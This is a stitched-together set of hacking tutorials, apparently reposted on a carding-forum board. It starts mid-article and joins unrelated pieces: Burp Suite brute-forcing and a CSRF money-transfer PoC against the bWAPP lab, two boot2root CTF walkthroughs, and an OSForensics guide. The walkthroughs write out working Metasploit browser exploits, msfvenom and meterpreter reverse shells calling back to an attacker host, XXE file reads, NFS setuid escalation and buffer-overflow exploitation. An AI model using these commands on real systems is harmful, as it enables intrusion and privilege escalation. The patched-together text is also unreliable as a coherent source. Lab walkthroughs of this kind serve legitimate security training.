  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as
  • In the given below image, we have selected a password that means we will need one dictionary files for a password.
[Image: 14.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Add Raw Payload and then we have selected Append Pre-processed Payload. This adds a raw payload value before and after the current processed value. As you can see the input strings of the dictionary as a single input string is repeated twice which can be seen in result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 15.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 16.png?w=687&ssl=1]
And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack as shown in the image.
[Image: 22.png?w=687&ssl=1]
Skip if Matches Regex
This processing rule can be used to check the current processed value matches a specified regular expression, and if it matches it will skip the payload and will move onto the next one. For example, Suppose we have a parameter value that has a minimum length and want to skip values in the list that are shorter than the minimum length defined.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 17.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as
  • In the given below image, we have selected a password that means we will need one dictionary files for a password.
[Image: 18.png?w=687&ssl=1]
Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: 19.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Skip if Matches Regex where we have given an input of {@} in the match regex field. Here we see that as per this rule if the input is given matches with any of the input strings in the dictionary it simply skip that value and move on to next.
Now Select Start Attack in the Intruder menu as shown in the image.
[Image: 20.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 21.png?w=687&ssl=1]

Today we are going to discuss the Importance of Engagement tools which is a Pro-only feature of Burp Suite. It is mainly used in information gathering and hence the analysis of any web application testing.
Its four important utilities are the following:
  • Find References
  • Discover Content
  • Schedule Task
  • Generate CSRF POC
Find References
This function can be used to search all Burp suite tools for HTTP responses that link to a particular item. To make use of this function, select an HTTP request anywhere in Burp suite, or any part of the site map, and choose “Find references” in “Engagement tools” in the context menu which can be seen clicking Action Tab within Burp suite.
The result window of the search shows responses (from all Burp tools) that are linked to the selected item. Whenever we view an individual search result, the response will be automatically highlighted to show where the linking reference is occurring.
This function treats the original URL as a Prefix whenever we search for links, so if you select a host, you will find all references related to the host and if you select a folder, you will find all references to items inside that folder.
First, we have intercepted the request of the Vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser, then the burp suite will capture the request of the web page in the intercept tab.
[Image: 1.png?w=687&ssl=1]
Then click on Action Tab, after that select the Engagement tools then click on Find References. This will open a result window which will show all the references related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.
[Image: 2.png?w=687&ssl=1]
Discover Content
This function is used to discover contents and functionality which are not linked with visible content that you can browse or spider.
There are various techniques that the burp suite uses to discover content, which includes name guessing, web spidering, and extrapolation from naming conventions observed within the use of an application.
Control
This tab shows you the current status of the session. The toggle button represents whether the session is running or not, and it also allows you to pause and restart the session.
The following information is displayed about the progress of the discovery session:
  • Number of requests made
  • Number of bytes transferred in server responses
  • Number of network errors
  • Number of discovery tasks queued
  • Number of spider requests queued
  • Number of responses queued for analysis
Target
This option allows you to define or state the start directory of the content discovery session, and whether the files or directories should be targeted. The options that are available are as follows:
  • Start directory – This is the location where Burp suite is used to look for content. The items within this path and sub-directories are requested during the session.
  • Discover – This option can be used to determine whether the session will look for files or directories or both.
Site Map
The discovery session uses their own site map, showing all of the content which has been discovered within the defined scope. If you have configured your Burp suite to do so, newly discovered items can be added to Burp suite’s main site map.
First, we have intercepted the request of the Vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser, then the burp suite will capture the request of the web page in the intercept tab.
[Image: 1.png?w=687&ssl=1]
Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Content Discovery. This will open a result window which will show the discovery session status and queued tasks which are related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.
[Image: 3.png?w=687&ssl=1]
Schedule Task
This function can be used to automatically start and stop certain tasks at defined times and intervals. We can use the task scheduler to start and stop certain automated tasks while you are not working, and to save your work periodically or at a specific time.
To make use of this function, select an HTTP request anywhere in Burp suite, or any part of the target site map, and choose “Schedule task” within “Engagement tools” in the context menu which can be seen by clicking right within Burp suite.
The types of task that are available within this function are as follows:
  • Scan from a URL
  • Pause active scanning
  • Resume active scanning
  • Spider from a URL
  • Pause spidering
  • Resume spidering
  • Save state
First, we have intercepted the request of the vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser, then the burp suite will capture the request of the web page in the intercept tab.
[Image: 1.png?w=687&ssl=1]
Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Schedule Task. This will open a window of schedule task options where we have selected Scan from a URL option as shown in the image.
[Image: 4.png?w=687&ssl=1]
Then Click Next a window will open where we have to give the URL we want to scan its branches from the site map.
[Image: 5.png?w=687&ssl=1]
Then Click Next we see that the scanner tab of the burp suite is open which scans all the branches beneath the site map of the given URL which is seen in the scan queue tab as shown in the image which is related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.
[Image: 6.png?w=687&ssl=1]
Generate CSRF PoC
This function can be used to generate a proof-of-concept (PoC) cross-site request forgery (CSRF) attack for any given request.
To access this function, select a URL or HTTP request anywhere in the Burp suite, and choose “Generate CSRF PoC” within “Engagement tools” in the context menu which can be seen by clicking right within Burp suite.
Let’s start!!
First, we have intercepted the request of the CSRF (transfer amount) option in the Bwapp LAB, where we have given an Account Number.
[Image: 7.png?w=687&ssl=1]
Then click on transfer, the burp suite will capture the request of the page in the intercept tab.
[Image: 8.png?w=687&ssl=1]
Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Generate CSRF PoC. This will open a window of the CSRF PoC where we made a change in Account value and Amount value in CSRF HTML code as shown in the image.
[Image: 10.png?w=687&ssl=1]
After making changes in the values click on Test in Browser option or Copy HTML this will open the window of Show response in the browser then click on COPY, and then paste it in the Browser and Press Enter as shown in the image.
[Image: 11.png?w=687&ssl=1]
We see a Submit request Button is seen in the browser after that click on it.
[Image: 12.png?w=687&ssl=1]
It appears to us that the amount is reduced as we have transferred the amount from the account by making changes in the CSRF HTML code as shown in the image.
[Image: 13.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as C0m80. The credit for making this vm machine goes to “3mrgnc3” and it is another boot2root challenge in which our goal is to get root to complete the challenge. You can download this VM

[To see content please register here]

.

Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.127 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Use nmap for port enumeration
nmap -A -p- 192.168.1.127
1
nmap -A -p- 192.168.1.127

[Image: 2.png?w=687&ssl=1]
We find that port 80, 111, 139, 445, 2049, 20021, 37196. 40325, 41605, 49418, 58563 are open. As port 80 is running http we open the ip address in our browser.
[Image: 3.png?w=687&ssl=1]
We don’t find anything on the web page so we use dirb to enumerate the directories.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 4.png?w=687&ssl=1]
We find a link to a login page that is running mantis bug report. We find that the version is vulnerable; we can reset the password of the users with this vulnerability. You can read how to exploit this vulnerability

[To see content please register here]

.

[Image: 5.png?w=687&ssl=1]
Now we exploit this vulnerability to change the password of the users.
[Image: 6.png?w=687&ssl=1]
We can change password of all the users present just by changing the id. After changing all the password we find that alice(id=4) is the only account with administrative privileges.
[Image: 7.png?w=687&ssl=1]
Going the mails we find a page that contains a link to a backup file.
[Image: 8.png?w=687&ssl=1]
We download the backup file using wget to get more information about the file.
[Image: 9.png?w=687&ssl=1]
After downloading the backup file we find that it is a hexdump, we use this program

[To see content please register here]

, to convert it to bin format.

Then we use binwalk to check for for embedded file and binaries and find that there are 2 binaries.
binwalk

[To see content please register here]


1
binwalk

[To see content please register here]


[Image: 10.png?w=687&ssl=1]
We use dd to convert the files into exe and dll, so that we can run the program.
[Image: 11.png?w=687&ssl=1]
Now we run the program and find it’s a program for ftp server.
[Image: 12.png?w=687&ssl=1]
We use netstat to check of ports, and found that port 20021 opened for listening on our system.
netstat -antp
1
netstat -antp

[Image: 13.png?w=687&ssl=1]
We use netcat to connect to the system and find that indeed it is an application for ftpserver.
nc localhost 20021
1
nc localhost 20021

[Image: 14.png?w=687&ssl=1]
We now reverse engineer the exe file using ollydbg for more information. And find that when it reads http: it opens the link in the the browser.
[Image: 15.1.png?w=687&ssl=1]
We use browser autopwn auxiliary to search for vulnerabilities.
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(server/browser_autopwn2)> set lhost 192.168.1.130
msf auxiliary(server/browser_autopwn2)> run

1
2
3

msf > use auxiliary/server/browser_autopwn2
msf auxiliary(server/browser_autopwn2)> set lhost 192.168.1.130
msf auxiliary(server/browser_autopwn2)> run

[Image: 15.2.png?w=687&ssl=1]
We find that the server can be exploited using firefox_proto_crmrequest, so we setup our listener on metasploit.
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.1.130
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lport 4444
msf exploit(multi/browser/firefox_proto_crmfrequest) > set target 1
msf exploit(multi/browser/firefox_proto_crmfrequest) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/browser/firefox_proto_crmfrequest) > run

1
2
3
4
5
6

msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.1.130
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lport 4444
msf exploit(multi/browser/firefox_proto_crmfrequest) > set target 1
msf exploit(multi/browser/firefox_proto_crmfrequest) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/browser/firefox_proto_crmfrequest) > run

[Image: 15.png?w=687&ssl=1]
Now we copy the link given by metasploit and use it in the ftp server running on the target machine.
[Image: 16.png?w=687&ssl=1]
As soon as we run the command we get our reverse shell.
[Image: 17.png?w=687&ssl=1]
Going through the files we get a hint of file that contains all the passwords.
[Image: 18.png?w=687&ssl=1]
So we use the search command to find all the files with that name on the server.
search -f *PWMangr2*
1
search -f *PWMangr2*

[Image: search.png?w=687&ssl=1]
We download the file on our server.
[Image: 19.png?w=687&ssl=1]
Now we open the file and find all the passwords.
[Image: 20.png?w=687&ssl=1]
Now as the author of the machine states that we can directly access the machine, we go to the server and use the password we find for rdp.
[Image: 29.PNG?w=687&ssl=1]
Now we have access to the machine we find a ssh private key but our nmap scan showed no ssh service running on the server so we take a look at the ssh configuration files and find that the ssh only accepts local connections on port 65122.
[Image: 30.PNG?w=687&ssl=1]
Now we use the private key we find to login as al1ce, as it is the other account used on this server.
[Image: 31.PNG?w=687&ssl=1]
When we try to login through ssh using the key. We use plink to connect, we get a prompt to unlock the key we use the password we find al1ce (7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286) and unlock the private key.
plink -l al1ce localhost -I id_rsa -P 65122
1
plink -l al1ce localhost -I id_rsa -P 65122

[Image: 32.PNG?w=687&ssl=1]
Now we are login as al1ce.
[Image: 33.PNG?w=687&ssl=1]
Now the server is running nfs, so we can use this to upload setuid root binaries.
Now we create a shell using metasploit.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.130 lport=4444 -f elf > shell
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.130 lport=4444 -f elf > shell

[Image: 36.png?w=687&ssl=1]
Now we setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.130
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set run

1
2
3
4
5

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.130
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set run

[Image: 37.png?w=687&ssl=1]
Now we use a script called nsfpysh to interact with nsf, we upload our shell and give him executable permission along with setuid.
[Image: 38.png?w=687&ssl=1]
Now we go to the target machine and run the shell.
[Image: 39.PNG?w=687&ssl=1]
As soon as we run the shell, we get the reverse shell as root.
[Image: 40.png?w=687&ssl=1]
Now we find that we are the root user.
[Image: 41.png?w=687&ssl=1]
Now we go to the root folder and find the congratulatory flag.
[Image: 42.png?w=687&ssl=1]

Today we are going to discuss the “Payload Processing” option of Burpsuite which is advanced functionality comes under Intruder Tab for making brute force attack.
Payload Processing
Payload Processing can be defined as when payloads are generated using payload types, they can be further manipulated or filtered using various processing rules and payload encoding.
Payload Processing Rules
These rules are defined to perform a various processing task on each payload before it is used. These rules are executed in a sequence, and they can be used to help debug any problem with the configuration. Payload processing rules are useful in situations where you need to generate different payloads, or where we want to wrap payloads within a wider structure or encoding scheme.
There are 12 types of payload processing rules available:
  • Add prefix
  • Add suffix
  • Match / Replace
  • Substring
  • Reverse substring
  • Modify case
  • Encode 
  • Decode
  • Hash
  • Add raw payload
  • Skip if matches regex
  • Invoke Burp extension
Let’s start!!
Add Prefix
This processing rule adds up a prefix before the payload.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_1.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as a sniper
  • In the given below image, we have selected a password that means we will need one dictionary files for a password.
[Image: Screenshot_2.png?w=687&ssl=1]
Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: Screenshot_3.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Add Prefix and we have given an input string “hash” which is added as a prefix with every input strings in the dictionary, as shown in the result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: Screenshot_4.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: Screenshot_5.png?w=687&ssl=1]
And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack as shown in the image.
[Image: Screenshot_6.png?w=687&ssl=1]
Add Suffix
This processing rule adds up a suffix after the payload.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_7.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as a sniper
  • In the given below image, we have selected a password that means we will need one dictionary files for a password.
[Image: Screenshot_8.png?w=687&ssl=1]
Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: Screenshot_9.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Add Suffix and we have given an input string “1234” which is added as a suffix with every input strings in the dictionary, as shown in the result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: Screenshot_10.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_11.png?w=687&ssl=1]
Match / Replace
This processing rule is used to replace any part of the payload that match a specific regular expression, with a string.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_13.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as the sniper
  • In the given below image, we have selected a password that means we will need one dictionary files for the password.
[Image: Screenshot_14.png?w=687&ssl=1]
Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: Screenshot_15.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Match / Replace and we have given an input “9870” in the Match Regex which will match the input given with the input strings in the dictionary, if the there is a certain match than it will replace it with the input “1234” given in the Replace with as shown in the image.
Select Start Attack in the Intruder menu.
[Image: Screenshot_16.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_17.png?w=687&ssl=1]
Substring
This processing rule is used to extracts a sub-portion of the payload, starting from a specified offset up to a specified length. Here the offset and length are counted from the front.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_19.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as a sniper
  • In the given below image, we have selected a password that means we will need one dictionary files for the password.
[Image: Screenshot_20.png?w=687&ssl=1]
Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. Here we had added dictionary using the option “Add from list” as shown below in the given image.
[Image: Screenshot_21.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Substring and we have given an input “0” in From option which specifies the offset and an input “3” in the Length option which specifies the length of the input strings.
For example, if “password” is a word in a dictionary and we had applied above filter so it will place alphabet p = 0; a = 1; s = 2 and s = 3 hence it will read only pass from whole word “password”.
The length specified will select only those inputs having the specific length and other lower or greater length inputs are discarded as shown in the result window of the attack.
Select Start Attack in the Intruder menu.
[Image: Screenshot_22.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_23.png?w=687&ssl=1]
Reverse Substring
This processing rule is used as a substring rule, but the end offset is specified counting backward from the end of the payload, and the length is counted backward from the end offset.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_25.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as the sniper
  • In the given below image, we have selected a password that means we will need one dictionary files for a password.
[Image: Screenshot_26.png?w=687&ssl=1]
Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. Here we had added dictionary using the option “Add from list” as shown below in the given image.
[Image: Screenshot_27.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Reverse Substring and we have given an input “2” in From option which specifies the offset and an input “9” in the Length option which specifies the length of the input strings and they are similar to the Substring rule but it works from backward of an offset and the length is counted backward where the offset ends.
For example if “admin123456” is word in dictionary and we had applied above filter so it will place alphabet 4 = 0; 3 = 1 ; 2 = 2 ; 1 = 3 ; n = 4 ; i = 5 ; m = 6 ; d = 7 ; d = 8 ; a = 9 hence it will read  only ‘admin1234’ from whole word “admin123456”.
The length specified will select only those inputs having the specific length and other lower or greater length inputs are discarded as shown in the result window of the attack.
Select Start Attack in the Intruder menu.
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_29.png?w=687&ssl=1]
Modify Case
This processing rule can be used to modify the case of the payload if needed. This rule has the same options available for the Case Modification payload type which we have explained in Part-1 of the Payload types article.
Source: portswigger.net


  [Guide] How to Hack the Bsides London VM 2017(Boot2Root)
Posted by: NINZA - 05-14-2020, 08:13 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another CTF challenge known as Bsides London 2017. The credit for making this vm machine goes to “Hacker House” and it is another boot2root challenge in which our goal is to get root to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.7 but you will have to find your own)
Let’s do an nmap scan for port enumeration.
nmap -p- -sV 192.168.0.7
1
nmap -p- -sV 192.168.0.7

[Image: 1.png?w=687&ssl=1]
We find port 80 to be open, port 80 is running http.
So we first open 192.168.0.7 in our browser.
[Image: 2.1.png?w=687&ssl=1]
We find a hint to use rafting directory, it is a wordlist that is used to enumerate directories. So we enumerate the directories using raft-large-directories for further information.
dirb

[To see content please register here]

.0.7 raft-large-directories

1
dirb

[To see content please register here]

.0.7 raft-large-directories

[Image: 3.png?w=687&ssl=1]
Now we enumerate the directories with common wordlist and find a directory called cgi-bin/.
dirb

[To see content please register here]

.0.7 -w

1
dirb

[To see content please register here]

.0.7 -w

[Image: 2.png?w=687&ssl=1]
As the dirb scan gave us a forbidden error on cgi-bin/ directory. We try to look through the files inside cgi-bin
dirb

[To see content please register here]

-N 403

1
dirb

[To see content please register here]

-N 403

[Image: 2.2.png?w=687&ssl=1]
We open the links found using dirb, one of those links contains a login page.
[Image: 4.png?w=687&ssl=1]
We take a look at the source code and find a hexadecimal string.
[Image: 5.png?w=687&ssl=1][Image: 5.png?w=687&ssl=1]
We decode it using xxd and find a base64 encoded string. After decoding it we found that the base64 string starts from Y so we select the string from Y and found a hexadecimal string inside a flag. We decode it and find a string.
[Image: 6.png?w=687&ssl=1]
We use this string as password to login through the login page, we use username as admin.
[Image: 7.png?w=687&ssl=1]
Even after login we don’t find anything on the login page, so we move to the links provided by the dirb scan.
We found one page that looks like a blank page.
[Image: 8.png?w=687&ssl=1]
When we take a look at the source page, we found that it is xml based page that may be vulnerable to XML Entity Injection(XXE).
[Image: 9.png?w=687&ssl=1]
We use burpsuite to capture request of that page and then send it to repeater, we then use XXE to exploit the system.
[Image: 10.png?w=687&ssl=1]
We find that only /etc/passwd is visible in plain text, to get the rest of the files we need to php base64 filter.  So we get apache.conf file to know about the system.
[Image: 11.png?w=687&ssl=1]
Now we decode the base64 encoded string and save it in a file ‘bsides-apache.conf’.
[Image: 12.png?w=687&ssl=1]
Now when we check the configuration to find information about the system.
[Image: 13.png?w=687&ssl=1]
Now we use XXE to get the rest of the configuration files.
[Image: 14.png?w=687&ssl=1]
We decode the base64 encoded string and then save it as bsides-default.conf.
[Image: 15.png?w=687&ssl=1]
Now we take a look at the configuration file, we get the location of the cgi configuration file.
[Image: 16.png?w=687&ssl=1]
Now we use XXE to get the configuration file for CGI files.
[Image: 17.png?w=687&ssl=1]
We decode the base64 encoded string and save it as bsides-cgi.conf
[Image: 18.png?w=687&ssl=1]
Now we take a look at the cgi configuration file and find the location of load file that we dirb scan showed us.
[Image: 19.png?w=687&ssl=1]
Now we download the load file using XXE to find more information about the file.
[Image: 20.1.png?w=687&ssl=1]
We decode the base64 encoded string and save it as bsides-load.
[Image: 20.png?w=687&ssl=1]
Now we check the file type and find it is an elf executable file.
file bsides-load
1
file bsides-load

[Image: 21.png?w=687&ssl=1]
We use strings to check the content of the file and find that it is compressed using UPX.
strings bsides-load
1
strings bsides-load

[Image: 22.png?w=687&ssl=1]
Now we use UPX to decompress the file
upx -d bsides-load
1
upx -d bsides-load

[Image: 23.png?w=687&ssl=1]
After decompressing the file we check the strings and find that it read a file and decrypts the file using the hex value of “WannaCry?”
[Image: 24.png?w=687&ssl=1]
Now we use radare to reverse engineer the file and find that it can run files that are encrypted with hex value of ‘WannaCry?’
[Image: 25.png?w=687&ssl=1]
Now we create a hex value of ‘WannaCry?’. We use od to convert it into hex and sed to remove the space between values.
echo -n "WannaCry?" | od -A n -t x1 |sed 's/ *//g’
1
echo -n "WannaCry?" | od -A n -t x1 |sed 's/ *//g’

[Image: 26.png?w=687&ssl=1]
We create a reverse shell first to exploit the system. We create pipe files to execute our command.
[Image: 27.png?w=687&ssl=1]
Now we create a 32-bit shared object file using gcc and convert it to a binary file using the hex value of ‘WannaCry?’ as key with openssl.
gcc -m32 -shared -fPIC -o exploit.so exploit.c
openssl aes-128-cbc -K 'key’ -iv 0 -e -in exploit.so -out exploit.bin

1
2

gcc -m32 -shared -fPIC -o exploit.so exploit.c
openssl aes-128-cbc -K 'key’ -iv 0 -e -in exploit.so -out exploit.bin

[Image: 28.png?w=687&ssl=1]
Now we upload the file to the server, dirb scan gave us a link that can be used to bin files. After upload file we get the location of the file where it is uploaded. The name of our file also changes after we upload it.
[Image: 29.png?w=687&ssl=1]
We copy the new file name and use the load file to run our shell.
[Image: 30.png?w=687&ssl=1]
We setup our listener using netcat, as soon as we execute the shell we get the reverse shell.
[Image: 31.png?w=687&ssl=1]
Now we find files with suid bit set and find a file in /home/level1/ called shisu
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null

[Image: 32.png?w=687&ssl=1]
We move to the directory and run the command and find that it is an executable file.
file shisu
[Image: 33.png?w=687&ssl=1]
When we run the file we find that it runs the command ps.
[Image: 34.png?w=687&ssl=1]
We are unable to read debugging symbols in gdb so we use objdump to reverse engineer the file and found that the file has a string copy after which it removes the top 10 bytes in stack.
objdump -M intel -d shisu
1
objdump -M intel -d shisu

[Image: 35.png?w=687&ssl=1]
We now use gdb to add a breakpoint before it removes the memory from the stackpoint. We use python to print 500 ‘A’. Then we check the stack and find it is overwritten with A’s.
[Image: 36.png?w=687&ssl=1]
Now this file maybe vulnerable to buffer overflow.  After fuzzing a few times we find that at 516 bytes of data we can overwrite the EIP and we get a segmentation fault.
[Image: 37.png?w=687&ssl=1]
So we now use this to exploit this vulnerability and get a privileged shell.
Now we run the file along with a 516 byte of shellcode and we get a privileged shell.
[Image: 38.png?w=687&ssl=1]
Now we use id command and find that we are root user now.
[Image: 39.png?w=687&ssl=1]

In Part 2 of this article, we have covered Recent Activity, Deleted File Search, Mismatch File Search, Memory Viewer, and Prefetch Viewer. This article will cover some more features/ functionalities of OSForensics.
To Read Part 2 of this article click

[To see content please register here]

.

Raw Disk Viewer
On a drive, data is generally stored in file system files and directories but when it comes to forensics we need a deeper inspection of drives we can have a piece of evidence within the raw sectors of the drive, image. These sectors are not accessible through the Operating system but we can access the raw sectors through OS Forensic’s Raw Disk Viewer.
Raw Disk Viewer includes text/hex searching, highlighting of relevant disk offsets, and decoding of known disk structures (such as MBR, GPT)
Source:

[To see content please register here]


To start with open OSF and click on Raw Disk Viewer
[Image: 1.png?w=687&ssl=1]
From the disk drop down to select the Evidence we want to investigate.
[Image: 2.png?w=687&ssl=1]
Click on the config button and make the required changes. We can specify the sector range limit, highlight the file types by different colors, include/exclude file system objects.
[Image: 3.png?w=687&ssl=1]
To look for a particular file/sector/offset click on Jump To button, we can see a screen to select any particular file or offset.
[Image: 4.png?w=687&ssl=1]
To get the details of any particular file select file and browse the file.
[Image: 5.png?w=687&ssl=1]
Click on open and then OK, the file will open in HEX for investigation.
[Image: 6.png?w=687&ssl=1]
Click on the decode button to get the details of the file. This will provide the cluster number and sector of the file.
[Image: 7.png?w=687&ssl=1]
Right click on the file to get all the available options of the file/offset/cluster.
[Image: 8.png?w=687&ssl=1]
Click on Search button, a screen will appear where we can search for Hex or Text and continue. This will search the particular text or Hex within the raw sectors and will display the result.
[Image: 9.png?w=687&ssl=1]
Click on bookmark button on the main screen of Raw Disk Viewer. we can create the bookmarks for the relevant evidence.
[Image: 10.png?w=687&ssl=1]
Create a new bookmark by specifying its start offset and end offset. We can differentiate the bookmark through its color.
[Image: 11.png?w=687&ssl=1]
The bookmark saved will get listed.
[Image: 12.png?w=687&ssl=1]
If we click on the bookmark the offset range will get highlighted on the main screen and will mark the starting of the offset with a flag and color of the flag is that of the bookmark.
[Image: 13.png?w=687&ssl=1]
This concludes the Raw Disk Viewer.
Registry Viewer
Registry viewer enables to investigate the registries of evidence.
To start with open the registry viewer, we can select the drive/evidence we want to work on. All the registry files in that particular drive/evidence will get listed on the right side.
[Image: 14.png?w=687&ssl=1]
Double Click on any file and we can navigate to the registries and can get all the details.
[Image: 15.png?w=687&ssl=1]
This concludes Registry Viewer
File System Browser
File system browser enables us to navigate to the Drive/Evidence.
[Image: 16.png?w=687&ssl=1]
We can navigate through all the files/directories and perform multiple activities. In file system browser we have the other options of OSF as well like File search, Mismatch search, Create Index, Create signature. Some of these features we have already talked about and some of them we will discuss in coming articles.
